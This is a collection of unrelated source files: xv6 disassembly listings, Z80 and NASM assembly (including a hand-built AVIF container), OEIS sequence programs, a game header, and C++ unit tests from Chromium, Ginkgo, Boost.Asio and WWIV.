register_signal_handler(signum, handler, trampoline);
366: c7 44 24 08 55 03 00 movl $0x355,0x8(%esp)
36d: 00
36e: 8b 45 0c mov 0xc(%ebp),%eax
371: 89 44 24 04 mov %eax,0x4(%esp)
375: 8b 45 08 mov 0x8(%ebp),%eax
378: 89 04 24 mov %eax,(%esp)
37b: e8 b8 00 00 00 call 438 <register_signal_handler>
return 0;
380: b8 00 00 00 00 mov $0x0,%eax
}
385: c9 leave
386: c3 ret
387: 90 nop
00000388 <fork>:
388: b8 01 00 00 00 mov $0x1,%eax
38d: cd 40 int $0x40
38f: c3 ret
00000390 <exit>:
390: b8 02 00 00 00 mov $0x2,%eax
395: cd 40 int $0x40
397: c3 ret
00000398 <wait>:
398: b8 03 00 00 00 mov $0x3,%eax
39d: cd 40 int $0x40
39f: c3 ret
000003a0 <pipe>:
3a0: b8 04 00 00 00 mov $0x4,%eax
3a5: cd 40 int $0x40
3a7: c3 ret
000003a8 <read>:
3a8: b8 05 00 00 00 mov $0x5,%eax
3ad: cd 40 int $0x40
3af: c3 ret
000003b0 <write>:
3b0: b8 10 00 00 00 mov $0x10,%eax
3b5: cd 40 int $0x40
3b7: c3 ret
000003b8 <close>:
3b8: b8 15 00 00 00 mov $0x15,%eax
3bd: cd 40 int $0x40
3bf: c3 ret
000003c0 <kill>:
3c0: b8 06 00 00 00 mov $0x6,%eax
3c5: cd 40 int $0x40
3c7: c3 ret
000003c8 <exec>:
3c8: b8 07 00 00 00 mov $0x7,%eax
3cd: cd 40 int $0x40
3cf: c3 ret
000003d0 <open>:
3d0: b8 0f 00 00 00 mov $0xf,%eax
3d5: cd 40 int $0x40
3d7: c3 ret
000003d8 <mknod>:
3d8: b8 11 00 00 00 mov $0x11,%eax
3dd: cd 40 int $0x40
3df: c3 ret
000003e0 <unlink>:
3e0: b8 12 00 00 00 mov $0x12,%eax
3e5: cd 40 int $0x40
3e7: c3 ret
000003e8 <fstat>:
3e8: b8 08 00 00 00 mov $0x8,%eax
3ed: cd 40 int $0x40
3ef: c3 ret
000003f0 <link>:
3f0: b8 13 00 00 00 mov $0x13,%eax
3f5: cd 40 int $0x40
3f7: c3 ret
000003f8 <mkdir>:
3f8: b8 14 00 00 00 mov $0x14,%eax
3fd: cd 40 int $0x40
3ff: c3 ret
00000400 <chdir>:
400: b8 09 00 00 00 mov $0x9,%eax
405: cd 40 int $0x40
407: c3 ret
00000408 <dup>:
408: b8 0a 00 00 00 mov $0xa,%eax
40d: cd 40 int $0x40
40f: c3 ret
00000410 <getpid>:
410: b8 0b 00 00 00 mov $0xb,%eax
415: cd 40 int $0x40
417: c3 ret
00000418 <sbrk>:
418: b8 0c 00 00 00 mov $0xc,%eax
41d: cd 40 int $0x40
41f: c3 ret
00000420 <sleep>:
420: b8 0d 00 00 00 mov $0xd,%eax
425: cd 40 int $0x40
427: c3 ret
00000428 <uptime>:
428: b8 0e 00 00 00 mov $0xe,%eax
42d: cd 40 int $0x40
42f: c3 ret
00000430 <halt>:
430: b8 16 00 00 00 mov $0x16,%eax
435: cd 40 int $0x40
437: c3 ret
00000438 <register_signal_handler>:
438: b8 17 00 00 00 mov $0x17,%eax
43d: cd 40 int $0x40
43f: c3 ret
00000440 <alarm>:
440: b8 18 00 00 00 mov $0x18,%eax
445: cd 40 int $0x40
447: c3 ret
|
;
; Getsprite - Picks up a sprite from display with the given size
; by Stefano Bodrato - Jan 2001
; Apr 2002 - Fixed. (Long time, I know...)
;
; The original putsprite code is by Patrick Davidson (TI 85)
;
; Generic version (just a bit slow)
;
;
; $Id: getsprite.asm $
;
IF !__CPU_INTEL__ & !__CPU_GBZ80__
SECTION smc_clib
PUBLIC getsprite
PUBLIC _getsprite
PUBLIC getsprite_sub
EXTERN pixeladdress
EXTERN swapgfxbk
EXTERN __graphics_end
INCLUDE "graphics/grafix.inc"
; __gfx_coords: d,e (vert-horz)
; sprite: (ix)
.getsprite
._getsprite
push ix
ld hl,4
add hl,sp
ld e,(hl)
inc hl
ld d,(hl) ; sprite address
push de
pop ix
inc hl
ld e,(hl)
inc hl
inc hl
ld d,(hl) ; x and y __gfx_coords
.getsprite_sub
ld h,d
ld l,e
ld (actcoord),hl ; save current coordinates
IF NEED_swapgfxbk = 1
call swapgfxbk
ENDIF
call pixeladdress
xor 7
ld (_smc+1),a
ld h,d
ld l,e
ld e,(ix+0)
ld b,(ix+1)
dec e
srl e
srl e
srl e
inc e ; INT ((width-1)/8+1)
._oloop push bc ;Save # of rows
push de ;Save # of bytes per row
._iloop2 ld a,(hl)
inc hl
ld d,(hl)
._smc ld b,1 ;Load pixel position
inc b
dec b
jr z,zpos
._iloop
rl d
rl a
djnz _iloop
.zpos
ld (ix+2),a
inc ix
dec e
jr nz,_iloop2
; ---------
push de
ld hl,(actcoord)
inc l
ld (actcoord),hl
call pixeladdress
ld h,d
ld l,e
pop de
; ---------
pop de
pop bc ;Restore data
djnz _oloop
IF NEED_swapgfxbk
jp __graphics_end
ELSE
IF !__CPU_INTEL__ & !__CPU_GBZ80__
pop ix
ENDIF
ret
ENDIF
SECTION bss_graphics
.actcoord
defw 0
ENDIF
|
SECTION bss_crt
PUBLIC __math_lhs
PUBLIC __math_rhs
PUBLIC __math_result
PUBLIC __math_block1
PUBLIC __math_block2
PUBLIC __math_block3
__math_block1:
__math_lhs: defs 4
__math_block2:
__math_rhs: defs 4
__math_block3:
__math_result: defs 4
|
%define BE(a) ( ((((a)>>24)&0xFF) << 0) + ((((a)>>16)&0xFF) << 8) + ((((a)>>8)&0xFF) << 16) + ((((a)>>0)&0xFF) << 24) )
ftyp_start:
dd BE(ftyp_end - ftyp_start)
db "ftyp"
db "isom"
dd BE(0x00)
db "mif1", "miaf"
ftyp_end:
;"FreeSpaceBox as defined in ISO/IEC 14496-12 may be present as permitted by that specification, including at top level"
free1_start:
dd BE(free1_end - free1_start)
db "free"
free1_end:
meta_start:
dd BE(meta_end - meta_start)
db "meta"
dd BE(0)
hdlr_start:
dd BE(hdlr_end - hdlr_start)
db "hdlr"
db 0x00 ; version(8)
db 0x00, 0x00, 0x00 ; flags(24)
db 0x00, 0x00, 0x00, 0x00 ; pre_defined(32)
db 0x70, 0x69, 0x63, 0x74 ; handler_type(32) ('pict')
db 0x00, 0x00, 0x00, 0x00 ; reserved1(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved2(32)
db 0x00, 0x00, 0x00, 0x00 ; reserved3(32)
db 0x00 ; name(8)
hdlr_end:
pitm_start:
dd BE(pitm_end - pitm_start)
db "pitm"
dd BE(0)
db 0x00, 0x01
pitm_end:
iinf_start:
dd BE(iinf_end - iinf_start)
dd "iinf"
db 0x00 ; "version(8)"
db 0x00, 0x00, 0x00 ; "flags(24)"
db 0x00, 0x01 ; "entry_count(16)"
infe_start:
dd BE(infe_end - infe_start)
dd "infe"
db 0x02 ; "version(8)"
db 0x00, 0x00, 0x00 ; "flags(24)"
db 0x00, 0x01 ; "item_ID(16)"
db 0x00, 0x00 ; "item_protection_index(16)"
db 0x61, 0x76, 0x30, 0x31 ; "item_type(32)" ('av01')
db 0x00 ; "item_name(8)"
infe_end:
iinf_end:
iprp_start:
dd BE(iprp_end - iprp_start)
db "iprp"
ipco_start:
dd BE(ipco_end - ipco_start)
db "ipco"
ispe_start:
dd BE(ispe_end - ispe_start)
db "ispe"
dd 0, 0, 0
ispe_end:
pixi_start:
dd BE(pixi_end - pixi_start)
dd "pixi"
pixi_end:
ipco_end:
ipma_start:
dd BE(ipma_end - ipma_start)
dd "ipma"
db 0x00 ; "version(8)"
db 0x00, 0x00, 0x00 ; "flags(24)"
db 0x00, 0x00, 0x00, 0x01 ; "entry_count(32)"
db 0x00, 0x01 ; "item_ID(16)"
db 0x02 ; "association_count(8)"
db 0x81 ; "essential(1)" "property_index(7)"
db 0x82 ; "essential(1)" "property_index(7)"
ipma_end:
iprp_end:
meta_end:
;"FreeSpaceBox as defined in ISO/IEC 14496-12 may be present as permitted by that specification, including at top level"
free2_start:
dd BE(free2_end - free2_start)
db "free"
free2_end:
; vim: syntax=nasm
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "core/fetch/MockResourceClients.h"
#include "core/fetch/ImageResource.h"
#include "testing/gtest/include/gtest/gtest.h"
namespace blink {
MockResourceClient::MockResourceClient(Resource* resource)
: m_resource(resource)
, m_notifyFinishedCalled(false)
{
m_resource->addClient(this);
}
MockResourceClient::~MockResourceClient()
{
if (m_resource)
m_resource->removeClient(this);
}
void MockResourceClient::notifyFinished(Resource*)
{
ASSERT_FALSE(m_notifyFinishedCalled);
m_notifyFinishedCalled = true;
}
void MockResourceClient::removeAsClient()
{
m_resource->removeClient(this);
m_resource = nullptr;
}
MockImageResourceClient::MockImageResourceClient(ImageResource* resource)
: MockResourceClient(resource)
, m_imageChangedCount(0)
, m_imageNotifyFinishedCount(0)
{
toImageResource(m_resource.get())->addObserver(this);
}
MockImageResourceClient::~MockImageResourceClient()
{
if (m_resource)
toImageResource(m_resource.get())->removeObserver(this);
}
void MockImageResourceClient::removeAsClient()
{
toImageResource(m_resource.get())->removeObserver(this);
MockResourceClient::removeAsClient();
}
void MockImageResourceClient::imageChanged(ImageResource*, const IntRect*)
{
m_imageChangedCount++;
}
void MockImageResourceClient::imageNotifyFinished(ImageResource*)
{
ASSERT_EQ(0, m_imageNotifyFinishedCount);
m_imageNotifyFinishedCount++;
}
bool MockImageResourceClient::notifyFinishedCalled() const
{
EXPECT_EQ(m_notifyFinishedCalled ? 1 : 0, m_imageNotifyFinishedCount);
return m_notifyFinishedCalled;
}
} // namespace blink
|
; A041084: Numerators of continued fraction convergents to sqrt(50).
; Submitted by Jon Maiga
; 7,99,1393,19601,275807,3880899,54608393,768398401,10812186007,152139002499,2140758220993,30122754096401,423859315570607,5964153172084899,83922003724759193,1180872205318713601,16616132878186749607,233806732499933208099,3289910387877251662993,46292552162781456490001,651385640666817642523007,9165691521498228451812099,128971066941642015967892393,1814760628704486452002305601,25535619868804452344000170807,359313438791966819268004696899,5055923762956339922096065927393,71142246120180725728612927680401
mul $0,3
seq $0,328990 ; a(n) = (3*b(n) + b(n-1) + 1)/2, where b = A005409.
mul $0,2
add $0,3
|
; $Id: bit_noise.asm $
;
; 1 bit sound functions
;
; void bit_noise(int duration, int period);
;
SECTION code_clib
PUBLIC bit_noise
PUBLIC _bit_noise
EXTERN noise
EXTERN bit_open_di
EXTERN bit_close_ei
;
; Stub by Stefano Bodrato - 8/10/2001
;
.bit_noise
._bit_noise
call bit_open_di
pop bc
pop hl
pop de
push de
push hl
push bc
call noise
jp bit_close_ei
|
#pragma once
#include "Ghost.hpp"
namespace Pacenstein {
/**
* The subclass for Inky.
*
* Inky is a subclass of Ghost, Inky is the blue ghost.
*/
class Inky : public Ghost {
public:
/**
* Constructor of the Inky ghost class.
*
* \param x The x position as a float of Inky.
* \param y The y position as a float of Inky.
*/
Inky(float x, float y, float speed = 0.05);
/**
* Constructor of the Inky ghost class.
*
* \param xy The position of Inky as a sf::Vector2f.
*/
explicit Inky(sf::Vector2f xy, float speed = 0.05);
/**
* Returns the sprite of Inky based on the direction and the corresponding texture.
*
* \param data A reference to the game data object.
* \return An sf::Sprite of the direction of Inky.
*/
sf::Sprite getGhostSprite(game_data_ref_t data);
/**
* Moves Inky to an new position based on the direction.
*
* If Inky hits a wall, the direction is randomly changed to a new one.
*
* \param worldMap A reference to the world map to detect walls.
* \return An sf::Vector2f of the new position of Inky.
*/
sf::Vector2f move(const map_t & worldMap) override;
/**
* Returns the direction of Inky.
*
* \return An int of the direction of Inky.
*/
int getDirection() override;
/**
* Returns if Inky is collected/eaten by the player.
*
* \return A bool of if Inky is collected.
*/
bool is_collected() override;
private:
std::vector<std::string> inkyDirections = { "Inky Back One",
"Inky Back Two",
"Inky Left One",
"Inky Left Two",
"Inky Middle One",
"Inky Middle Two",
"Inky Right One",
"Inky Right Two" };
uint direction;
sf::Sprite inkySprite;
float movement_speed;
};
}
|
/*******************************<GINKGO LICENSE>******************************
Copyright (c) 2017-2022, the Ginkgo authors
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
******************************<GINKGO LICENSE>*******************************/
#include <ginkgo/core/matrix/sellp.hpp>
#include <random>
#include <gtest/gtest.h>
#include <ginkgo/core/base/exception.hpp>
#include <ginkgo/core/base/exception_helpers.hpp>
#include <ginkgo/core/base/executor.hpp>
#include <ginkgo/core/matrix/csr.hpp>
#include <ginkgo/core/matrix/dense.hpp>
#include <ginkgo/core/matrix/diagonal.hpp>
#include "core/matrix/sellp_kernels.hpp"
#include "hip/test/utils.hip.hpp"
namespace {
class Sellp : public ::testing::Test {
protected:
using Mtx = gko::matrix::Sellp<>;
using Vec = gko::matrix::Dense<>;
using ComplexVec = gko::matrix::Dense<std::complex<double>>;
Sellp() : rand_engine(42) {}
void SetUp()
{
ASSERT_GT(gko::HipExecutor::get_num_devices(), 0);
ref = gko::ReferenceExecutor::create();
hip = gko::HipExecutor::create(0, ref);
}
void TearDown()
{
if (hip != nullptr) {
ASSERT_NO_THROW(hip->synchronize());
}
}
template <typename MtxType = Vec>
std::unique_ptr<MtxType> gen_mtx(int num_rows, int num_cols)
{
return gko::test::generate_random_matrix<MtxType>(
num_rows, num_cols, std::uniform_int_distribution<>(1, num_cols),
std::normal_distribution<>(-1.0, 1.0), rand_engine, ref);
}
void set_up_apply_matrix(
int total_cols = 1, int slice_size = gko::matrix::default_slice_size,
int stride_factor = gko::matrix::default_stride_factor)
{
mtx = gen_mtx<Mtx>(532, 231);
empty = Mtx::create(ref);
expected = gen_mtx(532, total_cols);
y = gen_mtx(231, total_cols);
alpha = gko::initialize<Vec>({2.0}, ref);
beta = gko::initialize<Vec>({-1.0}, ref);
dmtx = gko::clone(hip, mtx);
dempty = Mtx::create(hip);
dresult = gko::clone(hip, expected);
dy = gko::clone(hip, y);
dalpha = gko::clone(hip, alpha);
dbeta = gko::clone(hip, beta);
}
std::shared_ptr<gko::ReferenceExecutor> ref;
std::shared_ptr<const gko::HipExecutor> hip;
std::default_random_engine rand_engine;
std::unique_ptr<Mtx> mtx;
std::unique_ptr<Mtx> empty;
std::unique_ptr<Vec> expected;
std::unique_ptr<Vec> y;
std::unique_ptr<Vec> alpha;
std::unique_ptr<Vec> beta;
std::unique_ptr<Mtx> dmtx;
std::unique_ptr<Mtx> dempty;
std::unique_ptr<Vec> dresult;
std::unique_ptr<Vec> dy;
std::unique_ptr<Vec> dalpha;
std::unique_ptr<Vec> dbeta;
};
TEST_F(Sellp, SimpleApplyIsEquivalentToRef)
{
set_up_apply_matrix();
mtx->apply(y.get(), expected.get());
dmtx->apply(dy.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp, AdvancedApplyIsEquivalentToRef)
{
set_up_apply_matrix();
mtx->apply(alpha.get(), y.get(), beta.get(), expected.get());
dmtx->apply(dalpha.get(), dy.get(), dbeta.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp, SimpleApplyWithSliceSizeAndStrideFactorIsEquivalentToRef)
{
set_up_apply_matrix(1, 32, 2);
mtx->apply(y.get(), expected.get());
dmtx->apply(dy.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp, AdvancedApplyWithSliceSizeAndStrideFActorIsEquivalentToRef)
{
set_up_apply_matrix(1, 32, 2);
mtx->apply(alpha.get(), y.get(), beta.get(), expected.get());
dmtx->apply(dalpha.get(), dy.get(), dbeta.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp, SimpleApplyMultipleRHSIsEquivalentToRef)
{
set_up_apply_matrix(64);
mtx->apply(y.get(), expected.get());
dmtx->apply(dy.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp, AdvancedApplyMultipleRHSIsEquivalentToRef)
{
set_up_apply_matrix(64);
mtx->apply(alpha.get(), y.get(), beta.get(), expected.get());
dmtx->apply(dalpha.get(), dy.get(), dbeta.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp,
SimpleApplyMultipleRHSWithSliceSizeAndStrideFactorIsEquivalentToRef)
{
set_up_apply_matrix(32, 2);
mtx->apply(y.get(), expected.get());
dmtx->apply(dy.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp,
AdvancedApplyMultipleRHSWithSliceSizeAndStrideFActorIsEquivalentToRef)
{
set_up_apply_matrix(32, 2);
mtx->apply(alpha.get(), y.get(), beta.get(), expected.get());
dmtx->apply(dalpha.get(), dy.get(), dbeta.get(), dresult.get());
GKO_ASSERT_MTX_NEAR(dresult, expected, 1e-14);
}
TEST_F(Sellp, ApplyToComplexIsEquivalentToRef)
{
set_up_apply_matrix(64);
auto complex_b = gen_mtx<ComplexVec>(231, 3);
auto dcomplex_b = gko::clone(hip, complex_b);
auto complex_x = gen_mtx<ComplexVec>(532, 3);
auto dcomplex_x = gko::clone(hip, complex_x);
mtx->apply(complex_b.get(), complex_x.get());
dmtx->apply(dcomplex_b.get(), dcomplex_x.get());
GKO_ASSERT_MTX_NEAR(dcomplex_x, complex_x, 1e-14);
}
TEST_F(Sellp, AdvancedApplyToComplexIsEquivalentToRef)
{
set_up_apply_matrix(64);
auto complex_b = gen_mtx<ComplexVec>(231, 3);
auto dcomplex_b = gko::clone(hip, complex_b);
auto complex_x = gen_mtx<ComplexVec>(532, 3);
auto dcomplex_x = gko::clone(hip, complex_x);
mtx->apply(alpha.get(), complex_b.get(), beta.get(), complex_x.get());
dmtx->apply(dalpha.get(), dcomplex_b.get(), dbeta.get(), dcomplex_x.get());
GKO_ASSERT_MTX_NEAR(dcomplex_x, complex_x, 1e-14);
}
TEST_F(Sellp, ConvertToDenseIsEquivalentToRef)
{
set_up_apply_matrix(64);
auto dense_mtx = gko::matrix::Dense<>::create(ref);
auto ddense_mtx = gko::matrix::Dense<>::create(hip);
mtx->convert_to(dense_mtx.get());
dmtx->convert_to(ddense_mtx.get());
GKO_ASSERT_MTX_NEAR(dense_mtx.get(), ddense_mtx.get(), 0);
}
TEST_F(Sellp, ConvertToCsrIsEquivalentToRef)
{
set_up_apply_matrix(64);
auto csr_mtx = gko::matrix::Csr<>::create(ref);
auto dcsr_mtx = gko::matrix::Csr<>::create(hip);
mtx->convert_to(csr_mtx.get());
dmtx->convert_to(dcsr_mtx.get());
GKO_ASSERT_MTX_NEAR(csr_mtx.get(), dcsr_mtx.get(), 0);
}
TEST_F(Sellp, ConvertEmptyToDenseIsEquivalentToRef)
{
set_up_apply_matrix(64);
auto dense_mtx = gko::matrix::Dense<>::create(ref);
auto ddense_mtx = gko::matrix::Dense<>::create(hip);
empty->convert_to(dense_mtx.get());
dempty->convert_to(ddense_mtx.get());
GKO_ASSERT_MTX_NEAR(dense_mtx.get(), ddense_mtx.get(), 0);
}
TEST_F(Sellp, ConvertEmptyToCsrIsEquivalentToRef)
{
set_up_apply_matrix(64);
auto csr_mtx = gko::matrix::Csr<>::create(ref);
auto dcsr_mtx = gko::matrix::Csr<>::create(hip);
empty->convert_to(csr_mtx.get());
dempty->convert_to(dcsr_mtx.get());
GKO_ASSERT_MTX_NEAR(csr_mtx.get(), dcsr_mtx.get(), 0);
}
TEST_F(Sellp, ExtractDiagonalIsEquivalentToRef)
{
set_up_apply_matrix(64);
auto diag = mtx->extract_diagonal();
auto ddiag = dmtx->extract_diagonal();
GKO_ASSERT_MTX_NEAR(diag.get(), ddiag.get(), 0);
}
TEST_F(Sellp, ExtractDiagonalWithSliceSizeAndStrideFactorIsEquivalentToRef)
{
set_up_apply_matrix(64, 32, 2);
auto diag = mtx->extract_diagonal();
auto ddiag = dmtx->extract_diagonal();
GKO_ASSERT_MTX_NEAR(diag.get(), ddiag.get(), 0);
}
TEST_F(Sellp, InplaceAbsoluteMatrixIsEquivalentToRef)
{
set_up_apply_matrix(64, 32, 2);
mtx->compute_absolute_inplace();
dmtx->compute_absolute_inplace();
GKO_ASSERT_MTX_NEAR(mtx, dmtx, 1e-14);
}
TEST_F(Sellp, OutplaceAbsoluteMatrixIsEquivalentToRef)
{
set_up_apply_matrix(64, 32, 2);
auto abs_mtx = mtx->compute_absolute();
auto dabs_mtx = dmtx->compute_absolute();
GKO_ASSERT_MTX_NEAR(abs_mtx, dabs_mtx, 1e-14);
}
} // namespace
|
//
// context.cpp
// ~~~~~~~~~~~
//
// Copyright (c) 2003-2015 Christopher M. Kohlhoff (chris at kohlhoff dot com)
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// Disable autolinking for unit tests.
#if !defined(BOOST_ALL_NO_LIB)
#define BOOST_ALL_NO_LIB 1
#endif // !defined(BOOST_ALL_NO_LIB)
// Test that header file is self-contained.
#include <boost/asio/ssl/context.hpp>
#include "../unit_test.hpp"
BOOST_ASIO_TEST_SUITE
(
"ssl/context",
BOOST_ASIO_TEST_CASE(null_test)
)
|
; A120136: a(1)=7; a(n)=floor((14+sum(a(1) to a(n-1)))/2).
; 7,10,15,23,34,51,77,115,173,259,389,583,875,1312,1968,2952,4428,6642,9963,14945,22417,33626,50439,75658,113487,170231,255346,383019,574529,861793,1292690,1939035,2908552,4362828,6544242,9816363,14724545,22086817,33130226,49695339,74543008,111814512,167721768,251582652,377373978,566060967,849091451,1273637176,1910455764,2865683646,4298525469,6447788204,9671682306,14507523459,21761285188,32641927782,48962891673,73444337510,110166506265,165249759397,247874639096,371811958644,557717937966
mov $2,1
lpb $0
sub $0,1
add $2,$1
mov $1,6
add $1,$2
div $1,2
add $2,7
lpe
add $1,7
mov $0,$1
|
/**************************************************************************/
/* */
/* WWIV Version 5.x */
/* Copyright (C)2014-2020, WWIV Software Services */
/* */
/* Licensed under the Apache License, Version 2.0 (the "License"); */
/* you may not use this file except in compliance with the License. */
/* You may obtain a copy of the License at */
/* */
/* http://www.apache.org/licenses/LICENSE-2.0 */
/* */
/* Unless required by applicable law or agreed to in writing, */
/* software distributed under the License is distributed on an */
/* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, */
/* either express or implied. See the License for the specific */
/* language governing permissions and limitations under the License. */
/* */
/**************************************************************************/
#include <chrono>
#include <string>
#include "core/file.h"
#include "core/log.h"
#include "core/semaphore_file.h"
#include "core/strings.h"
#include "file_helper.h"
#include "gtest/gtest.h"
using std::string;
using namespace wwiv::core;
using namespace wwiv::strings;
TEST(SemaphoreFileTest, AlreadyAcqired) {
FileHelper file;
auto tmp = file.TempDir();
std::filesystem::path path;
{
// Will throw if it can't acquire.
auto ok =
SemaphoreFile::try_acquire(PathFilePath(tmp, "x.sem"), "", std::chrono::milliseconds(100));
path = ok.path();
LOG(INFO) << "fd: " << ok.fd() << "; fn: " << path;
EXPECT_TRUE(File::Exists(path));
try {
auto nok =
SemaphoreFile::try_acquire(PathFilePath(tmp, "x.sem"), "", std::chrono::milliseconds(10));
FAIL() << "semaphore_not_acquired expected";
} catch (const wwiv::core::semaphore_not_acquired&) {
// expected to happen.
}
}
EXPECT_FALSE(File::Exists(path)) << path;
}
TEST(SemaphoreFileTest, Smoke) {
FileHelper file;
auto tmp = file.TempDir();
// Will throw if it can't acquire.
auto ok =
SemaphoreFile::try_acquire(PathFilePath(tmp, "x.sem"), "", std::chrono::milliseconds(100));
auto fn = ok.path();
LOG(INFO) << "fd: " << ok.fd() << "; fn: " << fn;
EXPECT_TRUE(File::Exists(fn)) << fn;
}
|
_echo: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
f: 83 ec 10 sub $0x10,%esp
12: 89 cb mov %ecx,%ebx
int i;
for(i = 1; i < argc; i++)
14: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
1b: eb 3c jmp 59 <main+0x59>
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
1d: 8b 45 f4 mov -0xc(%ebp),%eax
20: 83 c0 01 add $0x1,%eax
23: 3b 03 cmp (%ebx),%eax
25: 7d 07 jge 2e <main+0x2e>
27: ba 19 08 00 00 mov $0x819,%edx
2c: eb 05 jmp 33 <main+0x33>
2e: ba 1b 08 00 00 mov $0x81b,%edx
33: 8b 45 f4 mov -0xc(%ebp),%eax
36: 8d 0c 85 00 00 00 00 lea 0x0(,%eax,4),%ecx
3d: 8b 43 04 mov 0x4(%ebx),%eax
40: 01 c8 add %ecx,%eax
42: 8b 00 mov (%eax),%eax
44: 52 push %edx
45: 50 push %eax
46: 68 1d 08 00 00 push $0x81d
4b: 6a 01 push $0x1
4d: e8 11 04 00 00 call 463 <printf>
52: 83 c4 10 add $0x10,%esp
int
main(int argc, char *argv[])
{
int i;
for(i = 1; i < argc; i++)
55: 83 45 f4 01 addl $0x1,-0xc(%ebp)
59: 8b 45 f4 mov -0xc(%ebp),%eax
5c: 3b 03 cmp (%ebx),%eax
5e: 7c bd jl 1d <main+0x1d>
printf(1, "%s%s", argv[i], i+1 < argc ? " " : "\n");
exit();
60: e8 57 02 00 00 call 2bc <exit>
00000065 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
65: 55 push %ebp
66: 89 e5 mov %esp,%ebp
68: 57 push %edi
69: 53 push %ebx
asm volatile("cld; rep stosb" :
6a: 8b 4d 08 mov 0x8(%ebp),%ecx
6d: 8b 55 10 mov 0x10(%ebp),%edx
70: 8b 45 0c mov 0xc(%ebp),%eax
73: 89 cb mov %ecx,%ebx
75: 89 df mov %ebx,%edi
77: 89 d1 mov %edx,%ecx
79: fc cld
7a: f3 aa rep stos %al,%es:(%edi)
7c: 89 ca mov %ecx,%edx
7e: 89 fb mov %edi,%ebx
80: 89 5d 08 mov %ebx,0x8(%ebp)
83: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
86: 90 nop
87: 5b pop %ebx
88: 5f pop %edi
89: 5d pop %ebp
8a: c3 ret
0000008b <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
8b: 55 push %ebp
8c: 89 e5 mov %esp,%ebp
8e: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
91: 8b 45 08 mov 0x8(%ebp),%eax
94: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
97: 90 nop
98: 8b 45 08 mov 0x8(%ebp),%eax
9b: 8d 50 01 lea 0x1(%eax),%edx
9e: 89 55 08 mov %edx,0x8(%ebp)
a1: 8b 55 0c mov 0xc(%ebp),%edx
a4: 8d 4a 01 lea 0x1(%edx),%ecx
a7: 89 4d 0c mov %ecx,0xc(%ebp)
aa: 0f b6 12 movzbl (%edx),%edx
ad: 88 10 mov %dl,(%eax)
af: 0f b6 00 movzbl (%eax),%eax
b2: 84 c0 test %al,%al
b4: 75 e2 jne 98 <strcpy+0xd>
;
return os;
b6: 8b 45 fc mov -0x4(%ebp),%eax
}
b9: c9 leave
ba: c3 ret
000000bb <strcmp>:
int
strcmp(const char *p, const char *q)
{
bb: 55 push %ebp
bc: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
be: eb 08 jmp c8 <strcmp+0xd>
p++, q++;
c0: 83 45 08 01 addl $0x1,0x8(%ebp)
c4: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
c8: 8b 45 08 mov 0x8(%ebp),%eax
cb: 0f b6 00 movzbl (%eax),%eax
ce: 84 c0 test %al,%al
d0: 74 10 je e2 <strcmp+0x27>
d2: 8b 45 08 mov 0x8(%ebp),%eax
d5: 0f b6 10 movzbl (%eax),%edx
d8: 8b 45 0c mov 0xc(%ebp),%eax
db: 0f b6 00 movzbl (%eax),%eax
